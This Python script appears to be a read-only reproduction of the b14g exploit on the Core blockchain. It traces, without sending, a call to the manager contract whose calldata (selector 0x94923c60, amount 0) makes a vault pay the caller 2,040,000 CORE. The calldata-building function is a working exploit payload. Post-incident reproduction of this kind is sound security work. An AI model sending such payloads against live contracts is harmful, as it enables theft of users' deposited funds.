"""
b14g exploit (Core, 2026-10-31): read-only reproduction.

Replays the attacker's call on the chain state one block before the attack
(block 40,042,124) using debug_traceCall. Nothing is signed or sent.

  python repro_b14g.py

Shows:
  * amount = 0 from a random address (0x...beef) -> the vault sends that address
    the position's full 2,040,000 CORE
  * amount = 1 from the same address -> reverts "InSufficient Amount"
"""
import json
import urllib.request

RPC = "https://core.drpc.org"            # any Core RPC with debug_traceCall + archive state
BLOCK = 40_042_124                        # one block before the attack tx
MANAGER = "0x04ea61c431f7934d51fed2acb2c5f942213f8967"   # b14g manager (proxy)
VAULT = "4b904a98bfa4c8e29de833c93ceca19d6ee820c6"       # first vault drained in the attack
VALIDATOR = "741095f5f73475f3f5ee4bb12cbb23574546fdd8"   # Core validator the vault delegated to
CALLER = "0x000000000000000000000000000000000000beef"     # any address; not the attacker


def rpc(method, params):
    body = json.dumps({"jsonrpc": "2.0", "id": 1, "method": method, "params": params}).encode()
    req = urllib.request.Request(RPC, body, {"content-type": "application/json", "user-agent": "repro"})
    return json.load(urllib.request.urlopen(req, timeout=120))["result"]


def calldata(amount):
    # selector 0x94923c60 takes an array of (vault, validator, amount);
    # the attack tx sent 99 entries, all with amount = 0. One entry is enough here.
    return ("0x94923c60" + "%064x" % 0x20 + "%064x" % 1
            + VAULT.rjust(64, "0") + VALIDATOR.rjust(64, "0") + "%064x" % amount)


def core_sent_to_caller(trace):
    total = 0
    if trace.get("type") == "CALL" and trace.get("to", "").lower() == CALLER:
        total += int(trace.get("value", "0x0"), 16)
    for sub in trace.get("calls", []):
        total += core_sent_to_caller(sub)
    return total


for amount in (0, 1):
    tx = {"from": CALLER, "to": MANAGER, "data": calldata(amount), "gas": hex(3_000_000)}
    trace = rpc("debug_traceCall", [tx, hex(BLOCK), {"tracer": "callTracer"}])
    print(f"amount={amount}: error={trace.get('error')} revert={trace.get('revertReason')} "
          f"CORE sent to caller={core_sent_to_caller(trace) / 1e18:,.0f}")
